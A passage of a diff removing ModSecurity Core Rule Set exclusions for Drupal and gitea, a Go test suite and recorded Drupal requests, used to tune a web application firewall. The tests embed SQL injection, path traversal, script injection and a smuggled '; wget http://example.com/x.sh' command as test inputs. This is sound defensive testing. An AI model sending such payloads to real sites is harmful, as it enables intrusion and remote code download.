ctl:ruleRemoveTargetById=932235;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
ctl:ruleRemoveTargetById=932140;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
ctl:ruleRemoveTargetById=934100;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
ctl:ruleRemoveTargetById=941390;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
ctl:ruleRemoveTargetById=942170;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/"
# Signing in, in pass or the JSON field pass, where a password holds any
# characters:
# 930120: a password ending in /etc/hosts
# 932120: a password of powershell
# 932250: a password of ls -la
# 932260: a password starting with python3
SecRule REQUEST_FILENAME "@streq /user/login" \
"id:900813,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:json\.)?pass$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?pass$/"
internal/coreruleset/drupal_test.go
-334
View File
@@ -1,334 +0,0 @@
package coreruleset_test
import (
"encoding/json"
"net/http"
"os"
"path/filepath"
"strings"
"testing"
)
// drupalRequest is a line of testdata/drupal-requests.txt.
type drupalRequest struct {
Method string `json:"method"`
Target string `json:"target"`
Headers []string `json:"headers"`
Body string `json:"body"`
}
// drupalRequests returns the recorded ordinary Drupal requests.
func drupalRequests(t *testing.T) []drupalRequest {
t.Helper()
text, err := os.ReadFile(filepath.Join("testdata", "drupal-requests.txt"))
if err != nil {
t.Fatal(err)
}
var requests []drupalRequest
for line := range strings.Lines(string(text)) {
if strings.HasPrefix(line, "#") {
continue
}
var r drupalRequest
err := json.Unmarshal([]byte(line), &r)
if err != nil {
t.Fatalf("%q: %v", line, err)
}
requests = append(requests, r)
}
return requests
}
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const drupalThreshold = 5
// drupalAddArticle is Drupal's form for a new article.
const drupalAddArticle = "/node/add/article"
// drupalSignIn is Drupal's sign-in page.
const drupalSignIn = "/user/login"
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
t.Parallel()
defaults, bodies := atDefaults(t), readingBodies(t)
for _, recorded := range drupalRequests(t) {
r := request{recorded.Method, recorded.Target, recorded.Headers}
got, _ := inspectBody(t, defaults, r, recorded.Body)
if got.Score >= drupalThreshold {
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
}
got, _ = inspectBody(t, bodies, r, recorded.Body)
if got.Score >= drupalThreshold {
t.Errorf("%s %s %.200q refused while bodies are read: %+v",
r.method, r.target, recorded.Body, got)
}
}
}
// drupalAttacks are an SQL injection, a path traversal and a script
// injection, as a query value.
//
//nolint:gochecknoglobals // a constant cannot be a list
var drupalAttacks = []string{
"1'%20OR%20'1'='1",
"..%2F..%2Fsites%2Fdefault%2Fsettings.php",
"%3Cscript%3Ealert(1)%3C%2Fscript%3E",
}
func TestDrupalAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, attack := range drupalAttacks {
for _, target := range []string{
"/?id=",
"/admin/content?id=",
"/admin/content?title=",
"/admin/content/media?name=",
"/admin/people?user=",
"/admin/content/files?filename=",
"/admin/content/files?filemime=",
"/admin/content/block?info=",
"/admin/content/comment?subject=",
"/admin/content/comment?author_name=",
"/admin/config/search/path?search=",
"/admin/content?destination=",
"/admin/foo?q=",
"/node/1/edit?destination=",
"/user/login?destination=",
"/search/node?keys=",
"/search?keys=",
"/entity_reference_autocomplete/user/default/KEY?q=",
"/jsonapi/node/article?filter%5Btitle%5D=",
"/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=",
} {
if got := inspect(t, crs, get(target+attack)); got.Score < drupalThreshold {
t.Errorf("%s%s let through: %+v", target, attack, got)
}
}
}
}
func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
const reply = "/comment/reply/node/1/comment"
for _, attack := range drupalAttacks {
for _, sent := range []struct{ target, body string }{
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D=" + attack},
{drupalAddArticle, "body%5B0%5D%5Bvalue%5D=" + attack},
{"/node/1/edit", "body%5B0%5D%5Bsummary%5D=" + attack},
{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
{drupalSignIn, "pass=" + attack},
} {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %q let through: %+v", sent.target, sent.body, got)
}
}
}
for _, attack := range []string{
`1' OR '1'='1`,
`<script>alert(1)</script>`,
} {
for _, field := range []string{
`"title":"` + attack + `"`,
`"body":{"value":"` + attack + `"}`,
} {
r := request{
http.MethodPost, "/jsonapi/node/article",
[]string{"Content-Type: application/vnd.api+json"},
}
body := `{"data":{"attributes":{` + field + `}}}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
}
}
}
// drupalCommandAttack is a shell command that only 932230 and 932235 refuse
// on the fields that skip the other command rules, as a query value.
const drupalCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
func TestDrupalCommandAttackIsRefusedOutsideDestination(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, target := range []string{
"/admin/content?title=",
"/admin/content/media?name=",
"/admin/people?user=",
"/admin/content/files?filename=",
"/admin/content/files?filemime=",
"/admin/content/block?info=",
"/admin/content/comment?subject=",
"/admin/content/comment?author_name=",
"/admin/config/search/path?search=",
"/admin/views/ajax/autocomplete/tag?q=",
"/search/node?keys=",
"/entity_reference_autocomplete/user/default/KEY?q=",
"/jsonapi/node/article?filter%5Btitle%5D=",
} {
got := inspect(t, crs, get(target+drupalCommandAttack))
if got.Score < drupalThreshold {
t.Errorf("%s let through: %+v", target, got)
}
}
crs = readingBodies(t)
for _, field := range []string{
"title%5B0%5D%5Bvalue%5D=",
"body%5B0%5D%5Bsummary%5D=",
"revision_log%5B0%5D%5Bvalue%5D=",
"path%5B0%5D%5Balias%5D=",
"field_tags%5Btarget_id%5D=",
"field_image%5B0%5D%5Balt%5D=",
} {
r := request{http.MethodPost, drupalAddArticle, []string{formData}}
got, _ := inspectBody(t, crs, r, field+drupalCommandAttack)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, field, got)
}
}
for _, field := range []string{
`"title":"; wget http://example.com/x.sh"`,
`"subject":"; wget http://example.com/x.sh"`,
`"body":{"summary":"; wget http://example.com/x.sh"}`,
} {
r := request{
http.MethodPost, "/jsonapi/node/article",
[]string{"Content-Type: application/vnd.api+json"},
}
body := `{"data":{"attributes":{` + field + `}}}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
}
}
// drupalHardValues are the words that name commands and files, as a form
// value.
//
//nolint:gochecknoglobals // a constant cannot be a list
var drupalHardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
const subject = "subject%5B0%5D%5Bvalue%5D="
for _, value := range drupalHardValues {
for _, sent := range []struct{ target, field string }{
{"/comment/reply/node/1/comment", subject},
{"/comment/reply/node/1/comment/5", subject},
{"/comment/reply/node/1/field_comments", subject},
{"/comment/reply/media/1/comment", subject},
{"/media/add/image", "revision_log_message%5B0%5D%5Bvalue%5D="},
{"/media/1/edit", "revision_log_message%5B0%5D%5Bvalue%5D="},
{drupalSignIn, "pass="},
} {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+value)
if got.Score >= drupalThreshold {
t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
}
}
}
for _, value := range []string{"python3", "powershell", "ls -la", ".htaccess"} {
r := request{
http.MethodPost, "/user/login?_format=json",
[]string{"Content-Type: application/json"},
}
body := `{"name":"example","pass":"` + value + `"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score >= drupalThreshold {
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
}
}
}
func TestDrupalExclusionsAreNarrow(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, passes := range []string{
"/admin/content?title=python3",
"/search/node?keys=python3",
"/entity_reference_autocomplete/user/default/KEY?q=python3",
"/jsonapi/node/article?filter%5Btitle%5D=python3",
"/node/1/edit?destination=python3",
} {
if got := inspect(t, crs, get(passes)); got.Score >= drupalThreshold {
t.Errorf("%s refused: %+v", passes, got)
}
}
for _, refused := range []string{
"/?title=python3",
"/admin/content?other=python3",
"/?keys=python3",
"/node/1?keys=python3",
"/?q=python3",
"/?filter%5Btitle%5D=python3",
"/python3-notes?destination=python3",
} {
if got := inspect(t, crs, get(refused)); got.Score < drupalThreshold {
t.Errorf("%s let through: %+v", refused, got)
}
}
}
func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// The same field name in the query keeps the rules, in the query and
// in the body.
for _, sent := range []struct{ path, field string }{
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D=python3"},
{drupalAddArticle, "body%5B0%5D%5Bvalue%5D=python3"},
{drupalSignIn, "pass=python3"},
} {
r := request{http.MethodPost, sent.path + "?" + sent.field, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field)
if got.Score < drupalThreshold {
t.Errorf("POST %s let through: %+v", r.target, got)
}
}
}
internal/coreruleset/gitea.conf
-283
View File
@@ -1,283 +0,0 @@
# The eighth change: on gitea's paths, some fields skip the rules that refused
# ordinary gitea requests there. They are the fields where gitea sends a search,
# a file name or a branch name. Each exclusion runs with the request, before the
# rules it switches off, those of phase 1 included, so this file is loaded before
# the Core Rule Set's rules. Each comment names a request the rule refused.
# gitea's searches of code, of issues and pull requests, and of commits send the
# text searched for in q, which skips these rules there:
# 930110: ../
# 930120: .gitignore
# 931100: http://127.0.0.1:8080
# 932120: Invoke-WebRequest
# 932130: $(pwd)
# 932140: if (a == b) {
# 932160: /bin/sh
# 932235: `make check`
# 932250: ls -la
# 932260: python3
# 932380: `whoami`
# 933100: <?php echo
# 933130: $_GET[
# 933135: ${VAR}
# 934100: process.env
# 934110: http://127.0.0.1:8080
# 934130: __proto__
# 941100: <script>
# 941110: <script>
# 941160: <img src=
# 941180: document.cookie
# 941390: fetch(
# 942100: SELECT * FROM users WHERE
# 942140: information_schema
# 942190: union select
# 942230: if (a == b) {
# 944100: java.lang.Runtime
# 944110: java.lang.Runtime
# 944130: java.lang.Runtime
SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
[^/]+/-/code|\
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
commits/(?:branch|tag|commit)/.+/search)|\
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))$" \
"id:900600,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930110;ARGS:q,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=931100;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932130;ARGS:q,\
ctl:ruleRemoveTargetById=932140;ARGS:q,\
ctl:ruleRemoveTargetById=932160;ARGS:q,\
ctl:ruleRemoveTargetById=932235;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q,\
ctl:ruleRemoveTargetById=932380;ARGS:q,\
ctl:ruleRemoveTargetById=933100;ARGS:q,\
ctl:ruleRemoveTargetById=933130;ARGS:q,\
ctl:ruleRemoveTargetById=933135;ARGS:q,\
ctl:ruleRemoveTargetById=934100;ARGS:q,\
ctl:ruleRemoveTargetById=934110;ARGS:q,\
ctl:ruleRemoveTargetById=934130;ARGS:q,\
ctl:ruleRemoveTargetById=941100;ARGS:q,\
ctl:ruleRemoveTargetById=941110;ARGS:q,\
ctl:ruleRemoveTargetById=941160;ARGS:q,\
ctl:ruleRemoveTargetById=941180;ARGS:q,\
ctl:ruleRemoveTargetById=941390;ARGS:q,\
ctl:ruleRemoveTargetById=942100;ARGS:q,\
ctl:ruleRemoveTargetById=942140;ARGS:q,\
ctl:ruleRemoveTargetById=942190;ARGS:q,\
ctl:ruleRemoveTargetById=942230;ARGS:q,\
ctl:ruleRemoveTargetById=944100;ARGS:q,\
ctl:ruleRemoveTargetById=944110;ARGS:q,\
ctl:ruleRemoveTargetById=944130;ARGS:q"
# A page opened from the results of one of those searches has the search's
# address in Referer, which skips these rules then:
# 941110: <script>
# 941120: onClick={
# 941160: <img src=
# 942100: LIKE '%foo%'
# 944100: java.lang.Runtime
SecRule REQUEST_HEADERS:Referer "@rx ^https?://[^/]+/(?:explore/code|\
issues(?:/search)?|pulls|[^/]+/-/code|\
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
commits/(?:branch|tag|commit)/.+/search)|\
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))\?" \
"id:900601,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=942100;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=944100;REQUEST_HEADERS:Referer"
# gitea's searches of repositories, users, branches, tags and packages send a
# name in q, which skips these rules there:
# 930120: .profile
# 932120: powershell-scripts
# 932260: python3-app
# 944130: org.apache.commons.logging
SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\
[^/]+/-/packages|[^/]+/[^/]+/(?:branches|tags)|api/v1/repos/search)$" \
"id:900602,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q,\
ctl:ruleRemoveTargetById=944130;ARGS:q"
# gitea's other searches for a name send it in q too, which skips only these
# rules there:
# 930120: .profile
# 932120: powershell-scripts
# 932260: python3-app
# The searches:
# - the dashboard's filter of repositories;
# - the repositories on a user's or an organisation's page, whose path has
# one segment;
# - the author filter of the issue and pull request lists;
# - the lists of users and organisations, and the API's search for users.
SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+|repo/search|\
explore/(?:users|organizations)|api/v1/users/search|\
[^/]+/[^/]+/(?:issues|pulls)/posters)$" \
"id:900603,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# These requests name a file in the path, which skips these rules there:
# 920500: notes.txt~
# 934100: process.env.d.ts
# 941130: docs/a b.xhtml
# 944130: java.lang.String.md
# The requests:
# - a file's page, raw file and download;
# - its blame, history, edit, preview and delete pages;
# - the API's call for its contents;
# - a release attachment's download.
SecRule REQUEST_FILENAME \
"@rx ^/(?:api/v1/repos/)?[^/]+/[^/]+/(?:src|raw|media|blame|commits|_edit|_preview|_delete|contents|releases/download)/" \
"id:900610,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=920500;REQUEST_FILENAME,\
ctl:ruleRemoveTargetById=934100;REQUEST_FILENAME,\
ctl:ruleRemoveTargetById=941130;REQUEST_FILENAME,\
ctl:ruleRemoveTargetById=944130;REQUEST_FILENAME"
# The requests below name a file in a query parameter. These rules refused
# them for the file named:
# 930120: .gitignore
# 932120: install-script.sh
# 932130: [draft].md
# 932160: bin/docker-entrypoint
# 932260: docker-compose.yml
# 934100: process.env.d.ts
# 934130: __proto__.json
# 941130: index.xhtml
# 941180: document.write.js
# 942140: information_schema.sql
# 944110: java/lang/Runtime.java
# 944130: java.lang.String.md
# Each request skips the rules that refused it. The fourth change already has
# path and redirect_to skip 930120, 932160 and 932260 on every path.
# A file's commit graph, in file.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \
"id:900620,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:file,\
ctl:ruleRemoveTargetById=932120;ARGS:file,\
ctl:ruleRemoveTargetById=932160;ARGS:file,\
ctl:ruleRemoveTargetById=932260;ARGS:file,\
ctl:ruleRemoveTargetById=934100;ARGS:file,\
ctl:ruleRemoveTargetById=934130;ARGS:file,\
ctl:ruleRemoveTargetById=941130;ARGS:file,\
ctl:ruleRemoveTargetById=941180;ARGS:file,\
ctl:ruleRemoveTargetById=942140;ARGS:file,\
ctl:ruleRemoveTargetById=944110;ARGS:file,\
ctl:ruleRemoveTargetById=944130;ARGS:file"
# The API's list of a file's commits, in path.
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/commits$" \
"id:900621,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=932120;ARGS:path,\
ctl:ruleRemoveTargetById=934100;ARGS:path,\
ctl:ruleRemoveTargetById=934130;ARGS:path,\
ctl:ruleRemoveTargetById=941130;ARGS:path,\
ctl:ruleRemoveTargetById=941180;ARGS:path,\
ctl:ruleRemoveTargetById=942140;ARGS:path,\
ctl:ruleRemoveTargetById=944110;ARGS:path,\
ctl:ruleRemoveTargetById=944130;ARGS:path"
# The API's call for the contents of several files, in body, as JSON.
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/file-contents$" \
"id:900622,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:body,\
ctl:ruleRemoveTargetById=932120;ARGS:body,\
ctl:ruleRemoveTargetById=932160;ARGS:body,\
ctl:ruleRemoveTargetById=934100;ARGS:body,\
ctl:ruleRemoveTargetById=934130;ARGS:body,\
ctl:ruleRemoveTargetById=941130;ARGS:body,\
ctl:ruleRemoveTargetById=941180;ARGS:body,\
ctl:ruleRemoveTargetById=942140;ARGS:body,\
ctl:ruleRemoveTargetById=944110;ARGS:body,\
ctl:ruleRemoveTargetById=944130;ARGS:body"
# An issue opened from a template, in template.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/issues/new$" \
"id:900623,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:template,\
ctl:ruleRemoveTargetById=932120;ARGS:template,\
ctl:ruleRemoveTargetById=932130;ARGS:template,\
ctl:ruleRemoveTargetById=932160;ARGS:template,\
ctl:ruleRemoveTargetById=932260;ARGS:template,\
ctl:ruleRemoveTargetById=934100;ARGS:template,\
ctl:ruleRemoveTargetById=934130;ARGS:template,\
ctl:ruleRemoveTargetById=941130;ARGS:template,\
ctl:ruleRemoveTargetById=941180;ARGS:template,\
ctl:ruleRemoveTargetById=942140;ARGS:template,\
ctl:ruleRemoveTargetById=944110;ARGS:template,\
ctl:ruleRemoveTargetById=944130;ARGS:template"
# The sign-in page on the way to a file's edit page, in redirect_to.
SecRule REQUEST_FILENAME "@rx ^/user/login$" \
"id:900624,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=932120;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=932130;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=934100;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=934130;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=941130;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=941180;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=942140;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=944110;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=944130;ARGS:redirect_to"
# An attachment uploaded through the API to a release, an issue or a comment,
# in name.
SecRule REQUEST_FILENAME \
"@rx ^/api/v1/repos/[^/]+/[^/]+/(?:releases|issues|issues/comments)/[0-9]+/assets$" \
"id:900625,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:name,\
ctl:ruleRemoveTargetById=932120;ARGS:name,\
ctl:ruleRemoveTargetById=932260;ARGS:name,\
ctl:ruleRemoveTargetById=934100;ARGS:name,\
ctl:ruleRemoveTargetById=934130;ARGS:name,\
ctl:ruleRemoveTargetById=941130;ARGS:name,\
ctl:ruleRemoveTargetById=941180;ARGS:name,\
ctl:ruleRemoveTargetById=942140;ARGS:name,\
ctl:ruleRemoveTargetById=944130;ARGS:name"
# A diff's hidden lines, fetched when shown, in path.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/blob_excerpt/[0-9a-f]+$" \
"id:900626,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=932120;ARGS:path,\
ctl:ruleRemoveTargetById=934100;ARGS:path,\
ctl:ruleRemoveTargetById=934130;ARGS:path,\
ctl:ruleRemoveTargetById=941130;ARGS:path,\
ctl:ruleRemoveTargetById=941180;ARGS:path,\
ctl:ruleRemoveTargetById=942140;ARGS:path,\
ctl:ruleRemoveTargetById=944110;ARGS:path,\
ctl:ruleRemoveTargetById=944130;ARGS:path"
# The requests below name a branch or tag in a query parameter, which skips
# the list of command names (932260) there. It refused names such as
# docker-build, python3-migration and feat/docker-support.
# Deleting or restoring a branch, in name.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/branches/(?:delete|restore)$" \
"id:900630,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:name"
# A release started from a tag, in tag.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/releases/new$" \
"id:900631,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:tag"
# A branch protection rule opened for editing, in rule_name.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/branches/edit$" \
"id:900632,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:rule_name"
# A directory listing's last commits, in refSubUrl.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/lastcommit/" \
"id:900633,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:refSubUrl"
# An artifact upload from actions/upload-artifact@v3 sends the header
# Content-Range, which the Core Rule Set refused (920450).
SecRule REQUEST_FILENAME \
"@rx ^/api/actions_pipeline/_apis/pipelines/workflows/[0-9]+/artifacts/[^/]+/upload$" \
"id:900640,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range"
internal/coreruleset/testdata/drupal-requests.txt
Vendored
-504
View File
@@ -1,504 +0,0 @@
# Ordinary Drupal 11.4 requests that the Core Rule Set must let through at the
# defaults. They were recorded from a site driven by a headless Chrome and an
# API client. Each line is one request as JSON. Host names, passwords and
# session cookies are invented.
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/core/themes/olivero/fonts/metropolis/Metropolis-Regular.woff2", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/"], "body": ""}
{"method": "GET", "target": "/core/themes/olivero/fonts/metropolis/Metropolis-Bold.woff2", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_lWnmNx7fODjwXZN0k-hinSYDGBOLz2ZYZzrxc1QYUZU.css?delta=0&language=en&theme=olivero&include=eJxtyUEOgCAMBdELgZypSEMaC59QxHB7E-PChZtZzIPK5I6QFZHU21gqNTu8u9KUTENQfetSqK8_Mt5R0xcbLu6cfFw-KvbD2bLBJUQydlP4svB0K0in8g33sTSr", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_nwzDa--ZTKor2DnrN42UKJfPZoODz_psWl5O8HnrUdg.css?delta=1&language=en&theme=olivero&include=eJxtyUEOgCAMBdELgZypSEMaC59QxHB7E-PChZtZzIPK5I6QFZHU21gqNTu8u9KUTENQfetSqK8_Mt5R0xcbLu6cfFw-KvbD2bLBJUQydlP4svB0K0in8g33sTSr", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_e1nubGx6j-CohkDnzUhS1xlK-HQ91BkCHHZe4AcOWIY.js?scope=footer&delta=0&language=en&theme=olivero&include=eJzLz8ksSy3K10_PyU9KzNEtLqnMycxL18mHCucllmWmJ5Zk5ufpFhRl5iYWVQIA53wTlA", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/"], "body": ""}
{"method": "GET", "target": "/core/themes/olivero/favicon.ico", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/"], "body": ""}
{"method": "GET", "target": "/node", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_nwzDa--ZTKor2DnrN42UKJfPZoODz_psWl5O8HnrUdg.css?delta=1&language=en&theme=olivero&include=eJxtyTEOwCAIAMAPaXwTKjGkCAaMDb_v0qFD1ztlOmhaBmsFzr6DSUbSlwUODdikkpfRBIu_cmwq_ZtLbzTsuUaurO1KHr5xlgqOD1NaLUA", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/search"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_P3HoRIw1akOqumfw52UfPdxVjrxJAO2SSqPwOEc_8DQ.css?delta=0&language=en&theme=olivero&include=eJxtyTEOwCAIAMAPaXwTKjGkCAaMDb_v0qFD1ztlOmhaBmsFzr6DSUbSlwUODdikkpfRBIu_cmwq_ZtLbzTsuUaurO1KHr5xlgqOD1NaLUA", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/search"], "body": ""}
{"method": "GET", "target": "/search/node", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
